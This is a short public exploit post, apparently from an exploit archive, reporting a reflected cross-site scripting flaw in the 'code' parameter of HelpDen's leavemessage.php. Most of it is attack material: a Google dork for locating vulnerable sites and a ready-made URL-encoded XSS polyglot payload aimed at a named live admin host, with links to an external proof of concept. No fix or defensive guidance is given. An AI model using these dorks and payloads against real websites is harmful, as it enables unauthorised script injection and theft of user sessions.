HelpDen Cross Site Scripting

# Exploit Title: HelpDen Cross Site Scripting
# Date: 15.04.2012
# Author: Sony
# Software Link: http://www.helpden.com/
# Google Dorks:inurl:.helpden.com/leavemessage.php?code
# Web Browser : Mozilla Firefox
# Blog : http://st2tea.blogspot.com
# PoC:
http://st2tea.blogspot.com/2012/04/helpden-cross-site-scripting.html
..................................................................

We have a simple xss in HelpDen.

Our xss is here:

https://url_name/leavemessage.php?code=[our xss]
 

https://admin.helpden.com/leavemessage.php?code=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E

or 

http://codepad.org/wiyno0Wx